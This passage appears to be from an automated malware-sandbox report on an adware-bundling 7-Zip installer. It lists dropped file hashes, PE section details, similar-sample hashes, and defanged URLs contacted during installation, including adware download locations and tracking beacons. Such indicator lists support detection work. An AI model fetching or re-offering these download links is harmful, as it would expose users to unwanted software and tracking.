05450face243b3a7472407b999b03a72	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoB635.tmp\nsProcess.dll
05450face243b3a7472407b999b03a72	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDD73.tmp\nsProcess.dll
6f7d9e111a17fab195efe0bbd3a0442d	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\AccDownload.dll
faa7f034b38e729a983965c04cc70fc1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst3D6F.tmp\nsProcess.dll
62d52491695400e8d14b30876f476933	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe
39d9593e5c43d81fe9724fb0f7b16cc0	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\unelevate.exe
4df406e3cd21b6906f1cd16200f36b58	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\tmp\ChromeSync.exe
3663b55452d8e814f62d6fae8eb32d65	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\tmp\XTab_Setup2121.exe
f94557f8fd41731a3d180383a516fbe3	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp652099\tmp\wpm_v20.0.0.1953_0302.exe
acf2f3ad315964ec2ed1ec4e61bd1f96	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
a5bfd6a87161d5dfa81cb5c2c6d29488	c:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe
45960b40c1ecb75ed5549a80049879e1	c:\Windows\SysWOW64\AniGIF.ocx
45960b40c1ecb75ed5549a80049879e1	c:\Windows\System32\AniGIF.ocx

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.0.0.0
File Description: Powered by BetterInstaller
Comments:
Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	28860	29184	4.36907	33e8227bf6edbf3997e3d0895494668e
.data	36864	140	512	0.818223	1b0351714f371c0ba066871d4e504b00
.rdata	40960	3196	3584	3.54441	88a268b1fac88e9fad865c68cf3abce2
.bss	45056	110088	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	155648	4932	5120	3.53424	11c816edc4ef9cc4aa5511f8a707232b
.ndata	163840	36864	1024	0	0f343b0931126a20f133d67c2b018a3b
.rsrc	200704	17800	17920	3.9497	3b952b6cf19449d255a36efe2cd57cc1

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 3664
7f6d030a23f210ff0f767468fe3edd48
9fe8b39c75f8ed0d56094fe69fbf2c3f
0f8cfe6c36d70739199896a29a9ab59e
9c25ad5c86c1bf46d4564075b019e71c
9c129a294d7cc0fe9ed53d890dbde85f
b9569d981dd7f0516c10295bcb118f65
f3a31b785aef97068400d0987e8505fa
52900543c17a5e7bf2dfca79aff4ed8e
5423049c0be0b64dd47e76f4552912c0
e994aa2020aa429e7ed46bde26100014
90351671e65f1bb12916d1e9ec86ed49
13df569a80b0b685ba250ad7617fe738
a16c30b5aa236dc78beea2d35406b2b7
b3fa5976434ce1e51a1bd370e2aefd3c
7f9d59c48734f851495f71f0c539537b
22754d84b6a8863fdb8bcc5c56c849cb
58fe62f415a645bea095e193a1676101
2a2a5c35d16c851fbe31471dc439b39c
92c551fd1abfe685fd18911e9ab08526
0d213295b19e20e1fecc37345c3e009b
e7b769fcb3292ae349d046038146b08d
a6fc7dda6bdd315dfd5980ac76fb22d0
ba8a944ac777b66e2f8831e41c48a17e
52f55df57abbba5785a9fc223655676d
43e6206ab7ba8f798441f29b86ac7746

URLs

URL	IP
hxxp://installer.betterinstaller.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://d110jf50ovcr9h.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.230.98.135
hxxp://d110jf50ovcr9h.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg	54.230.98.135
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d110jf50ovcr9h.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html	54.230.98.135
hxxp://d110jf50ovcr9h.cloudfront.net/sponsored/istartsurf/eula-istartsurf.html	54.230.98.135
hxxp://www-google-analytics.l.google.com/ga.js
hxxp://d17g6dyg7fgcv7.cloudfront.net/mirror/webprotectorplus/WebProtectPD.exe	54.230.97.198
hxxp://mirror.frogdownload.com/software_files/7_zip/7zip_32.png
hxxp://d2z5psu5fxw71b.cloudfront.net/sponsored/webprotectorplus/eula-webprotectorplus.html	54.230.98.173
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.4&utms=1&utmn=786764341&utmhn=bi.bisrv.com&utmhid=557165261&utmr=-&utmp=Installer_Init&utmht=1429690799884&utmac=UA-31676879-1&utmcc=__utma=1.1154272012.1429690800.1429690800.1429690800.1;+__utmz=1.1429690800.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=653839773&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://d1h8rlkib3jo2q.cloudfront.net/sponsored/swiftrecord/eula-swiftrecord.html	54.230.99.253
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe	54.230.98.248
hxxp://a1726.d.akamai.net/sd?is=sm
hxxp://www.girlliuxiaowei.com/home/smt_istartsurf.exe	208.43.230.100
hxxp://mirror.frogdownload.com/software_files/7_zip/9_20/7z920.exe
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=1&index_in_screen=1&index_in_session=1&display_height=110&0.8580236753114998
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=1&index_in_screen=1&index_in_session=1&0.8861780039993772
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=2&index_in_screen=1&index_in_session=2&display_height=80&0.36491736774588723
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=2&index_in_screen=1&index_in_session=2&0.9388202755332841
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.7164267805809253
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=3&index_in_screen=1&index_in_session=3&0.5481515553127376
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=2&utmn=1157967160&utmhn=bi.bisrv.com&utmhid=557165261&utmr=-&utmp=Offer_Accepted&utmht=1429690866458&utmac=UA-31676879-1&utmcc=__utma=1.1154272012.1429690800.1429690800.1429690800.1;+__utmz=1.1429690800.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=1&index_in_screen=1&index_in_session=1&0.2397808917815326
hxxp://stat.webprotectionfree.com/pin.gif?e=download&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13	37.58.109.2
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=4&index_in_screen=1&index_in_session=4&0.37298315691108524
hxxp://stat.webprotectionfree.com/b/WebProtectPI.exe?s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13	37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=downloadsuc&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13	37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=start&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&adv=&v=4.3.0.42	37.58.109.2
hxxp://stat.webprotectionfree.com/node/?s=9813&br=4	37.58.109.2
hxxp://stat.webprotectionfree.com/c/LiveUpdateWPP_is.exe	37.58.109.2
hxxp://track.madagascardomain.com/pin.gif?e=updinst&s=9813&i={B6FABE4B-0DC3-48A0-A1B9-9E28DD633AC3}"	208.43.248.42
hxxp://stat.webprotectionfree.com/node/?s=9813&br=2	37.58.109.2
hxxp://stat.webprotectionfree.com/a/9813.xpi	37.58.109.2
hxxp://stat.webprotectionfree.com/node/?s=9813&br=5	37.58.109.2
hxxp://stat.webprotectionfree.com/c/SetupWPP.exe	37.58.109.2
hxxp://stat.webprotectionfree.com/node/?s=9813&br=3	37.58.109.2
hxxp://stat.webprotectionfree.com/c/webprotector_chrome	37.58.109.2
hxxp://stat.webprotectionfree.com/node/?s=9813&br=1	37.58.109.2
hxxp://stat.webprotectionfree.com/c/webprotector_installer.exe	37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=tracking&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&t=0&v=9.10.9200.16521&b=ie&ai=wppapp1.06&os=6.1x64&osv=7601	37.58.109.2
hxxp://stat.webprotectionfree.com/c/SetupComponents.exe	37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=installer&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&adv=&v=4.3.0.42	37.58.109.2
hxxp://stat.webprotectionfree.com/pin.gif?e=downloadend&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13&ec=0	37.58.109.2
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=1&index_in_screen=1&index_in_session=1&0.3763491045621731
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/16945.ashx?e=2fVCHF6kf8i8qFEAMB5m TAsk6sTGOh67OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDfIXaX4UOzVQy4btG OZIk/mETyJyixTFVdn5IXPnT9 7PiCC4paVhd0qyZh7o5utwAZbgHkoXRfcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg=	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/t.ashx?e=ZOyK 2tCTWCfZNC1TqAoBC U5jeiXPoc1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6ZbCM7llhnoTm3f1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/install.ashx?e=PcwT4QFtuPBPNjxRBLtb49OayYtQxcN/HBKWDIV8zAnOo8fXRAOTcAWwrv9hreqncfgJCYrAwfjGDr5NwV0atdSSaUQFDqWEQXlxtBq2M/Wb87aptZLNDFA1P6i6ssaToXvV0ACP4NMVyaunraoeQQeRzm SyrO9uCFW/zxMyvvLaPsNuIhxx0qTRYdykYznQcOav1fvIInFToJxGXpok7Mp5a5JKLY8jARCJdOax3BQLHhZSKf6F1J4r6F5 wsCmsYBmEqYe81Sgdd2itB1rdCtLI2jnxFtO2YKgZHX2edYluIlhKckqejXQuHaKGTBrNY0MH32 Vpli0vhDt6hccxbZzrrWlFPRVquFz8IHIPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmjpB9iJ5C2tEAebAnsXQ5mE=	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/16945.ashx?e=2fVCHF6kf8i8qFEAMB5m TAsk6sTGOh67OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDfIXaX4UOzVQy4btG OZIk/c453xw7zJVfqR4rzu9tChRWoLVpCM9iEsfUYUM0LESxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK	198.232.124.192
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=3&utmn=1873755039&utmhn=bi.bisrv.com&utmhid=557165261&utmr=-&utmp=Offer_Accepted&utmht=1429690875144&utmac=UA-31676879-1&utmcc=__utma=1.1154272012.1429690800.1429690800.1429690800.1;+__utmz=1.1429690800.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=2&index_in_screen=1&index_in_session=2&0.9161289952713647
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/16945.ashx?e=M7A8vgjJHrjHEQ/kk/2L9nI0A0MEgFsCbpEIGKaUKB1AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN8hdpfhQ7NVDX4l9XCm/Va yMyEnHNejvIwWNawbTP05KYX3Ti/i3YObVFZJeaqFdk1VfCEU0AOklTie0zE 5RKM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsp1sJ10SU1p3d0s7eG0MUR4wxavn5MnYwXiuMMu0WQZkjv 3ulNYP3	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=WL9usJOVMsOip5SW8XfeInI0A0MEgFsCbpEIGKaUKB1AXdQqxJ1va3sc7hbJtTJHVR5AawbKoxpd5sSQkmuoYNcNqW9cpn67YCpHZc9ZUaG/QElqGjn9p9CUHeR8YCF3sp NWI2cIlsE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93CgN3uGHcox9	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/install.ashx?e=iAb9K1DDBHVFwtfIvB/2UtXwAHXY4LJtX/iFdqiZ5XW2ZMgjutBt7OQRE0cF7lrf/k6YQPAn cmeLw31Ygf6oZlbztiqtoL/TokU9chNtxaHMa5E8LXYXSj4RBWOV2QSTzF53EHpwgtyRdUuNvgXmiJjxUWJId3oF/r hSUlo5i1FchkYiZploQKV7JoYf3gQcOav1fvIInFToJxGXpok7Mp5a5JKLY84tkC2WJTEqk677i59tbrijN29qu1AFc5F vrzn i2STmupmdz0X933 57xg6As7fQcOav1fvIInFToJxGXpok7Mp5a5JKLY8jARCJdOax3BQLHhZSKf6F1J4r6F5 wsCmsYBmEqYe81Sgdd2itB1rdCtLI2jnxFtO2YKgZHX2edYluIlhKckqejXQuHaKGTBrNY0MH32 Vpli0vhDt6hccxbZzrrWlFPkDtNnW3aPgXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW ax5eone962kQECTO3/voqUO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGq8VQmTt9zY	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/t.ashx?e=s0jsdppK9OufZNC1TqAoBLK3ximak9Re1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6Zaviqr qBKQLHf1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=WL9usJOVMsOip5SW8XfeInI0A0MEgFsCbpEIGKaUKB1AXdQqxJ1va3sc7hbJtTJHVR5AawbKoxpd5sSQkmuoYNcNqW9cpn67YCpHZc9ZUaH6MIOzDij/FhQC drCF7eF njmPLTFBJTHZ0SBJrLaprY4IvPwXqEQMSZV3lug1pD1Ez1y92rC5W/XGM3eTsN iCHLDEUg0E9ZhAiHs FPXj4muiLFL76qdrhEpZL 4aO zY9fV5WlouSF8e D2/ze94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/16945.ashx?e=/9ZmISdorEsUXj5SpDTbO0XC18i8H/ZSvWl1REtUj0CMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK82CjzcgixbI4T4muiLFL76qdrhEpZL 4aO zY9fV5WloiAKRfuw5Te8UeZLRmueCpr 7rPtSKe/ Md2cjirIcT2Uu2F7cTkckVKXe7b3ey81Z7hCmg7VZxoKYX3Ti/i3YP qW0w MbMw/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLApuPowKbCcFJe5zAgPj7sZ99y fIOVX74eIUR 7mnwjv/RLtOAVqc4=	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=QgW8pN5r26ZQhScA1jb3T0jF1bjII1t47OXLse4BafTbQC nVTu53mZVsyaCUtL6kJDZemxzbLHWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdzDfL2GbTHUVR5AawbKoxpd5sSQkmuoYF2oGot0MQhTYCpHZc9ZUaGGezoD1qtkebhzXK2mWcezxLLCQXXwGXzCAftlZERRx2ijEAD 5VMSWqN41HTaAkoLRhFr7R7M5X6K3NyMhemQUYEfqtRQD78IVG4A1llRrdZ2uNpJ5fHbdqeQ4cI sVrMZOEwh/nVZVdH83K8hgUtt19n teix7 rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQECTO3/voqUO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGq8VQmTt9zY	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=QgW8pN5r26ZQhScA1jb3T0jF1bjII1t47OXLse4BafTbQC nVTu53mZVsyaCUtL6kJDZemxzbLHWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdzDfL2GbTHUVR5AawbKoxpd5sSQkmuoYF2oGot0MQhTYCpHZc9ZUaGrhgSoaZAY/tRZzfht7UpY9A8dpvtBeO2hc3DbjNrW8PQYnQ1xoKSBiZYn8TH3Pe3MlW9RFqOniiR/VPwArHZ1QMCg3fniKLWzp3t4zCe896XFFb679qcr4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlJa1FhA/wE TvEn2nDKBLzC/lQLguKSQ5P4IP6Qq40NPZC4GryFTFDw==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/yta33_full.exe	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUvHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRAQJM7f ipQ76Dd/WWGKABpQd65V8ghdGDv ErdUGA6HBIdbLA390arxVCZO33Ng=	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/VnFVL/bsGoNCUHeR8YCF313OfQWxYQIgX v6FJSWjmLUVyGRiJmmWZrdGZ5CXclXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaPByCfGyRMRTdRQ1iDuTWCHerLjg0wWOeIRz 2mBYX7hAI rSxlsmasw4bpiPG/cI	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va8U4NDWVSf76ATxIUcsgQ wO1MeTElIgRus2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6r6tum2 2Wo8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfVhzKGZrtoOnPia6IsUvvqp2uESlkv7ho77Nj19XlaWijbMb8pyXMn8=	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va9MPpNra519lzs1eJiiYYwojgb6v7cXpPvbiGjjio4NqpcQqJAqvU1Umua4LEJhhF3iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WUlrUWED/AT5O8SfacMoEvML VAuC4pJDk/gg/pCrjQ09kLgavIVMUP	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/Y/O50oRY4mZGcLghnE/hl7kN6o7do63berPp8I6b9hEpjLCrDgTug3T3SRc0DL8l/N3fFIaCTlgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS6JtvHUfgpuU1na42knl8dt2p5Dhwj6xWsxk4TCH dVlV0fzcryGBS3Q2V/0a8esdQ==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/GBdpOSxhWVkVmCwhd6chxgZiB55ZFi63BQfH8WBRftYqYyeeQ3tOz2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jwcgnxskTEU3UUNYg7k1gh3qy44NMFjniEc/tpgWF 4QCPq0sZbJmrMOG6Yjxv3CA==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va91Q6BhL4ofYRQC drCF7eF7LQ fMG3nUOoTeqbC3Z0rIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSynWwnXRJTWnd3Szt4bQxRHjDFq fkydjBeK4wy7RZBmSO/7e6U1g/c=	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/aaY YTEt5UpR90anDedSCwwlzaMFN/KKrJhv0HKSN7b 4IgVQCGNdqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1EBAkzt/76KlDvoN39ZYYoAGlB3rlXyCF0YO/4St1QYDocEh1ssDf3RqvFUJk7fc2A==	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va94pHMK6k0QKwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H1Ycyhma7aDpz4muiLFL76qdrhEpZL 4aO zY9fV5Wloo2zG/KclzJ/	198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/q965piIXltRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UoEMSfSPd4gMrtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw44wukdKbWr6	198.232.124.192
